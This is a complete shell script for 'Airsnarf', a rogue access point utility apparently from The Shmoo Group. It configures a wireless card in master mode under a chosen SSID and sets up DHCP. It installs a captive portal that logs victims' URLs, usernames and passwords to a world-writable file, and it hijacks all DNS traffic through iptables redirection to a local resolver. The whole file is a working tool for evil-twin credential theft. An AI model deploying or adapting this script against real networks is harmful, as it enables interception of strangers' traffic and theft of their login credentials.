#!/bin/sh
# airsnarf.sh
# A rogue AP setup utility.

echo "Airsnarf - A rogue AP setup utility."
echo "0.2-Zaurus"
echo "The Shmoo Group"
echo "------------------------------------"
# here are some variables you may want to edit
WWW_ROOT="/home/www/htdocs"
CGI_ROOT="/home/www/cgi-bin"
WWW_LOG="/home/www/logs"
LOCAL_CFG="./cfg"
ROGUE_NET="192.168.1."
ROGUE_INTERFACE="wlan0"
ROGUE_SSID="airsnarf"
ROGUE_CHANNEL="1"
ROGUE_NICK="Rogue TEST"
ROGUE_GW="192.168.1.254"

# create the dhcpd.conf
echo -n "Creating dhcpd.conf..."
sed s/AIRSNARF/$ROGUE_NET/g $LOCAL_CFG/dhcpd.src > /etc/dhcpd.conf
echo "Done."

# copy over the www stuff
STAMP=`date +%F-%T`
echo -n "Building the captive portal..."
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
if [ -s $WWW_LOG/airsnarf_log ]
then
	`mv $WWW_LOG/airsnarf_log $WWW_LOG/airsnarf_log-$STAMP`
fi
echo "url,username,password" > $WWW_LOG/airsnarf_log
chmod 777 $WWW_LOG/airsnarf_log
echo "Done."

# set our wireless parameters
echo -n "Setting the wireless parameters..."
# NOTE:  comment out iwconfig commands unsupported by your card
iwconfig $ROGUE_INTERFACE channel $ROGUE_CHANNEL
iwconfig $ROGUE_INTERFACE nick "$ROGUE_NICK"
iwconfig $ROGUE_INTERFACE txpower 100mW
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
echo "Done."

# set our ip and default route
echo -n "Setting the ip address and default route..."
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route del -net 0.0.0.0
route add -net 0.0.0.0 gw $ROGUE_GW
echo "Done."

# restart some services
echo -n "Restarting dhcpd and httpd..."
DHCPD_PID=/var/run/dhcpd.pid
if [ -s $DHCPD_PID ]
then
	kill -15 `cat $DHCPD_PID`
fi
dhcpd -q $ROGUE_INTERFACE
apachectl restart > /dev/null 2>&1
echo "Done."

# set up the firewall to redirect
echo -n "Setting up firewall to redirect DNS..."
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
--to $ROGUE_GW
# dammit, I swear this used to work with just an OUTPUT rule...
iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT \
--to $ROGUE_GW
echo "Done."

# start the local dns resolver
echo "Starting local DNS resolver..."
chmod +x ./bin/airsnarf_dns.pl
./bin/airsnarf_dns.pl
